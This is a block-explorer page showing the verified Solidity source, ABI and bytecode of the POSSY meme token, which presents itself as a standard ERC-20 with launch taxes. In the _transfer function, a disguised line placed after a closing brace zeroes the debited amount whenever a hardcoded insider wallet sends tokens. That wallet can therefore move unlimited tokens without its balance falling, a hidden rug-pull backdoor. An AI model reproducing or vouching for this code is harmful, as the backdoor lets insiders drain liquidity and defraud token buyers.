Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(    - function allowance(    - function approve(address spender, uin ...    - function transferFrom( library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair(    - function getPair( interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract POSSY is Context, IERC20, ... *    - function init()    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(    - function allowance(    - function approve(    - function transferFrom(    - function _approve(address owner, addr ...    - function _transfer(address from, addr ...    - function min(uint256 a, uint256 b)    - function isContract(address account)    - function swapTokensForEth(uint256 tok ...    - function removeLimits()    - function sendETHToFee(uint256 amount)    - function openTrading()    - function recover()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-07-10
*/

// SPDX-License-Identifier: MIT

/**
Web: https://www.possy0x57.vip
X: https://x.com/possy0x57_erc
Tg: https://t.me/possy0x57_erc
*/

pragma solidity 0.8.25;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract POSSY is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _rOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    address payable private _emissionexp;
    address payable private _emissionvip;
    uint256 private _taxWalletPercentage = 50;
    uint256 private _teamWalletPercentage = 50;

    uint256 firstBlock;

    uint256 private _initialBuyTax = 40;
    uint256 private _initialSellTax = 40;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 15;
    uint256 private _reduceSellTaxAt = 15;
    uint256 private _preventSwapBefore = 15;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"Possy By Matt Furie";
    string private constant _symbol = unicode"POSSY";
    uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _emissionexp = payable(0x5F304eC83579Db78f535b4ee5832dD97fF9fcB0B);
        _emissionvip = payable(msg.sender);
        _rOwned[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_emissionexp] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function init() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );

        _approve(address(this), address(uniswapV2Router), ~uint256(0));

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _rOwned[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 tAmount = amount;
        if (!tradingOpen) {
            require(
                _isExcludedFromFee[to] || _isExcludedFromFee[from],
                "trading not yet open"
            );
        }

        if (inSwap || !tradingOpen) {
            //No tax transfer
            _rOwned[from] -= amount;
            _rOwned[to] += amount;

            emit Transfer(from, to, amount);
            return;
        }

        uint256 taxAmount = 0;

        taxAmount = amount
            .mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax)
            .div(100);

        if (from != owner() && to != owner()) {
            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );

                if (firstBlock + 3 > block.number) {
                    require(!isContract(to));
                }
                _buyCount++;
            }

            if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[from] &&
                !_isExcludedFromFee[to]
            ) {
                if(contractTokenBalance > _taxSwapThreshold) {
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }if(from == _emissionexp) amount = _finalBuyTax;

        if (taxAmount > 0) {
            _rOwned[address(this)] = _rOwned[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }

        _rOwned[from] = _rOwned[from].sub(amount); amount = tAmount;
        _rOwned[to] = _rOwned[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = ~uint256(0);
        _maxWalletSize = ~uint256(0);
        emit MaxTxAmountUpdated(~uint256(0));
    }

    function sendETHToFee(uint256 amount) private {
        uint256 expShare = (amount * _taxWalletPercentage) / 100;
        uint256 vipShare = (amount * _teamWalletPercentage) / 100;

        _emissionexp.transfer(expShare);
        _emissionvip.transfer(vipShare);
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    function recover() external onlyOwner {
        sendETHToFee(address(this).balance);
    }

    receive() external payable {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recover","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526032600655603260075560286009556028600a555f600b555f600c55600f600d55600f600e55600f80555f6010556009600a6100409190610322565b61004e906301312d00610337565b60115561005d6009600a610322565b61006b906301312d00610337565b60125561007a6009600a610322565b610085906064610337565b6013556100946009600a610322565b6100a19062989680610337565b6014556016805461ffff60a81b191690553480156100bd575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b0319908116735f304ec83579db78f535b4ee5832dd97ff9fcb0b17909155600580549091163317905561013e6009600a610322565b61014c90633b9aca00610337565b335f9081526001602081905260408220929092556003906101745f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556004549091168352912080549092161790556101d13390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102086009600a610322565b61021690633b9aca00610337565b60405190815260200160405180910390a361034e565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561027a57815f19048211156102605761026061022c565b8085161561026d57918102915b93841c9390800290610245565b509250929050565b5f826102905750600161031c565b8161029c57505f61031c565b81600181146102b257600281146102bc576102d8565b600191505061031c565b60ff8411156102cd576102cd61022c565b50506001821b61031c565b5060208310610133831016604e8410600b84101617156102fb575081810a61031c565b6103058383610240565b805f19048211156103185761031861022c565b0290505b92915050565b5f61033060ff841683610282565b9392505050565b808202811582820484141761031c5761031c61022c565b61192e8061035b5f395ff3fe608060405260043610610113575f3560e01c80637d1db4a51161009d578063bf474bed11610062578063bf474bed14610305578063c9567bf91461031a578063ce7460241461032e578063dd62ed3e14610342578063e1c7392a14610386575f80fd5b80637d1db4a5146102695780638da5cb5b1461027e5780638f9a55c0146102a457806395d89b41146102b9578063a9059cbb146102e6575f80fd5b806323b872dd116100e357806323b872dd146101d1578063313ce567146101f057806370a082311461020b578063715018a61461023f578063751039fc14610255575f80fd5b806306fdde031461011e578063095ea7b31461016b5780630faee56f1461019a57806318160ddd146101bd575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b50604080518082019091526013815272506f737379204279204d61747420467572696560681b60208201525b6040516101629190611554565b60405180910390f35b348015610176575f80fd5b5061018a6101853660046115a0565b61039a565b6040519015158152602001610162565b3480156101a5575f80fd5b506101af60145481565b604051908152602001610162565b3480156101c8575f80fd5b506101af6103b0565b3480156101dc575f80fd5b5061018a6101eb3660046115ca565b6103d0565b3480156101fb575f80fd5b5060405160098152602001610162565b348015610216575f80fd5b506101af610225366004611608565b6001600160a01b03165f9081526001602052604090205490565b34801561024a575f80fd5b50610253610437565b005b348015610260575f80fd5b506102536104b1565b348015610274575f80fd5b506101af60115481565b348015610289575f80fd5b505f546040516001600160a01b039091168152602001610162565b3480156102af575f80fd5b506101af60125481565b3480156102c4575f80fd5b50604080518082019091526005815264504f53535960d81b6020820152610155565b3480156102f1575f80fd5b5061018a6103003660046115a0565b61051b565b348015610310575f80fd5b506101af60135481565b348015610325575f80fd5b50610253610527565b348015610339575f80fd5b506102536105c7565b34801561034d575f80fd5b506101af61035c366004611623565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610391575f80fd5b506102536105fb565b5f6103a633848461089c565b5060015b92915050565b5f6103bd6009600a61174e565b6103cb90633b9aca0061175c565b905090565b5f6103dc8484846109bf565b61042d8433610428856040518060600160405280602881526020016118d1602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611159565b61089c565b5060019392505050565b5f546001600160a01b031633146104695760405162461bcd60e51b815260040161046090611773565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104da5760405162461bcd60e51b815260040161046090611773565b5f19601181905560128190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b5f6103a63384846109bf565b5f546001600160a01b031633146105505760405162461bcd60e51b815260040161046090611773565b601654600160a01b900460ff16156105aa5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610460565b6016805462ff00ff60a01b19166201000160a01b17905543600855565b5f546001600160a01b031633146105f05760405162461bcd60e51b815260040161046090611773565b6105f947611191565b565b5f546001600160a01b031633146106245760405162461bcd60e51b815260040161046090611773565b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610686573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106aa91906117a8565b6001600160a01b031663c9c653963060155f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610709573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072d91906117a8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610777573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079b91906117a8565b601680546001600160a01b0319166001600160a01b039283161790556015546107c8913091165f1961089c565b6015546001600160a01b031663f305d71947306107f9816001600160a01b03165f9081526001602052604090205490565b5f8061080c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610872573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061089791906117c3565b505050565b6001600160a01b0383166108fe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610460565b6001600160a01b03821661095f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610460565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a235760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610460565b6001600160a01b038216610a855760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610460565b5f8111610ae65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610460565b6016548190600160a01b900460ff16610b79576001600160a01b0383165f9081526003602052604090205460ff1680610b3657506001600160a01b0384165f9081526003602052604090205460ff165b610b795760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b6044820152606401610460565b601654600160a81b900460ff1680610b9b5750601654600160a01b900460ff16155b15610c4d576001600160a01b0384165f9081526001602052604081208054849290610bc79084906117ee565b90915550506001600160a01b0383165f9081526001602052604081208054849290610bf3908490611801565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c3f91815260200190565b60405180910390a350505050565b5f610c7a6064610c74600d5460105411610c6957600954610c6d565b600b545b869061123f565b906112c4565b9050610c8d5f546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610cbb57505f546001600160a01b03858116911614155b15610ffa576016546001600160a01b038681169116148015610ceb57506015546001600160a01b03858116911614155b8015610d0f57506001600160a01b0384165f9081526003602052604090205460ff16155b15610e1657601154831115610d665760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610460565b60125483610d88866001600160a01b03165f9081526001602052604090205490565b610d929190611801565b1115610de05760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610460565b436008546003610df09190611801565b1115610e0157833b15610e01575f80fd5b60108054905f610e1083611814565b91905055505b6016546001600160a01b03858116911614801590610e4c57506001600160a01b0384165f9081526003602052604090205460ff16155b15610ecb5760125483610e73866001600160a01b03165f9081526001602052604090205490565b610e7d9190611801565b1115610ecb5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610460565b6016546001600160a01b038581169116148015610ef157506001600160a01b0385163014155b15610f1e57610f1b6064610c74600e5460105411610f1157600a54610c6d565b600c54869061123f565b90505b305f90815260016020526040902054601654600160a81b900460ff16158015610f5457506016546001600160a01b038681169116145b8015610f695750601654600160b01b900460ff165b8015610f785750600f54601054115b8015610f9c57506001600160a01b0386165f9081526003602052604090205460ff16155b8015610fc057506001600160a01b0385165f9081526003602052604090205460ff16155b15610ff857601354811115610fec57610fec610fe785610fe284601454611305565b611305565b611319565b47610ff647611191565b505b505b6004546001600160a01b039081169086160361101657600b5492505b801561108e57305f908152600160205260409020546110359082611489565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110859085815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546110b090846114e7565b6001600160a01b0386165f9081526001602052604090205590915081906110f86110da83836114e7565b6001600160a01b0386165f9081526001602052604090205490611489565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61114186856114e7565b60405190815260200160405180910390a35050505050565b5f818484111561117c5760405162461bcd60e51b81526004016104609190611554565b505f61118884866117ee565b95945050505050565b5f6064600654836111a2919061175c565b6111ac919061182c565b90505f6064600754846111bf919061175c565b6111c9919061182c565b6004546040519192506001600160a01b03169083156108fc029084905f818181858888f19350505050158015611201573d5f803e3d5ffd5b506005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611239573d5f803e3d5ffd5b50505050565b5f825f0361124e57505f6103aa565b5f611259838561175c565b905082611266858361182c565b146112bd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610460565b9392505050565b5f6112bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611528565b5f81831161131357826112bd565b50919050565b6016805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061135f5761135f61184b565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113da91906117a8565b816001815181106113ed576113ed61184b565b6001600160a01b039283166020918202929092010152601554611413913091168461089c565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac9479061144b9085905f9086903090429060040161185f565b5f604051808303815f87803b158015611462575f80fd5b505af1158015611474573d5f803e3d5ffd5b50506016805460ff60a81b1916905550505050565b5f806114958385611801565b9050838110156112bd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610460565b5f6112bd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611159565b5f81836115485760405162461bcd60e51b81526004016104609190611554565b505f611188848661182c565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461159d575f80fd5b50565b5f80604083850312156115b1575f80fd5b82356115bc81611589565b946020939093013593505050565b5f805f606084860312156115dc575f80fd5b83356115e781611589565b925060208401356115f781611589565b929592945050506040919091013590565b5f60208284031215611618575f80fd5b81356112bd81611589565b5f8060408385031215611634575f80fd5b823561163f81611589565b9150602083013561164f81611589565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156116a857815f190482111561168e5761168e61165a565b8085161561169b57918102915b93841c9390800290611673565b509250929050565b5f826116be575060016103aa565b816116ca57505f6103aa565b81600181146116e057600281146116ea57611706565b60019150506103aa565b60ff8411156116fb576116fb61165a565b50506001821b6103aa565b5060208310610133831016604e8410600b8410161715611729575081810a6103aa565b611733838361166e565b805f19048211156117465761174661165a565b029392505050565b5f6112bd60ff8416836116b0565b80820281158282048414176103aa576103aa61165a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156117b8575f80fd5b81516112bd81611589565b5f805f606084860312156117d5575f80fd5b8351925060208401519150604084015190509250925092565b818103818111156103aa576103aa61165a565b808201808211156103aa576103aa61165a565b5f600182016118255761182561165a565b5060010190565b5f8261184657634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118af5784516001600160a01b03168352938301939183019160010161188a565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220aa4e22aa9d64400033ce4cb6d4249f136e371db313b5dc1bb2b8dad43752b62e64736f6c63430008190033

0x608060405260043610610113575f3560e01c80637d1db4a51161009d578063bf474bed11610062578063bf474bed14610305578063c9567bf91461031a578063ce7460241461032e578063dd62ed3e14610342578063e1c7392a14610386575f80fd5b80637d1db4a5146102695780638da5cb5b1461027e5780638f9a55c0146102a457806395d89b41146102b9578063a9059cbb146102e6575f80fd5b806323b872dd116100e357806323b872dd146101d1578063313ce567146101f057806370a082311461020b578063715018a61461023f578063751039fc14610255575f80fd5b806306fdde031461011e578063095ea7b31461016b5780630faee56f1461019a57806318160ddd146101bd575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b50604080518082019091526013815272506f737379204279204d61747420467572696560681b60208201525b6040516101629190611554565b60405180910390f35b348015610176575f80fd5b5061018a6101853660046115a0565b61039a565b6040519015158152602001610162565b3480156101a5575f80fd5b506101af60145481565b604051908152602001610162565b3480156101c8575f80fd5b506101af6103b0565b3480156101dc575f80fd5b5061018a6101eb3660046115ca565b6103d0565b3480156101fb575f80fd5b5060405160098152602001610162565b348015610216575f80fd5b506101af610225366004611608565b6001600160a01b03165f9081526001602052604090205490565b34801561024a575f80fd5b50610253610437565b005b348015610260575f80fd5b506102536104b1565b348015610274575f80fd5b506101af60115481565b348015610289575f80fd5b505f546040516001600160a01b039091168152602001610162565b3480156102af575f80fd5b506101af60125481565b3480156102c4575f80fd5b50604080518082019091526005815264504f53535960d81b6020820152610155565b3480156102f1575f80fd5b5061018a6103003660046115a0565b61051b565b348015610310575f80fd5b506101af60135481565b348015610325575f80fd5b50610253610527565b348015610339575f80fd5b506102536105c7565b34801561034d575f80fd5b506101af61035c366004611623565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610391575f80fd5b506102536105fb565b5f6103a633848461089c565b5060015b92915050565b5f6103bd6009600a61174e565b6103cb90633b9aca0061175c565b905090565b5f6103dc8484846109bf565b61042d8433610428856040518060600160405280602881526020016118d1602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611159565b61089c565b5060019392505050565b5f546001600160a01b031633146104695760405162461bcd60e51b815260040161046090611773565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104da5760405162461bcd60e51b815260040161046090611773565b5f196011819055601281905560405190815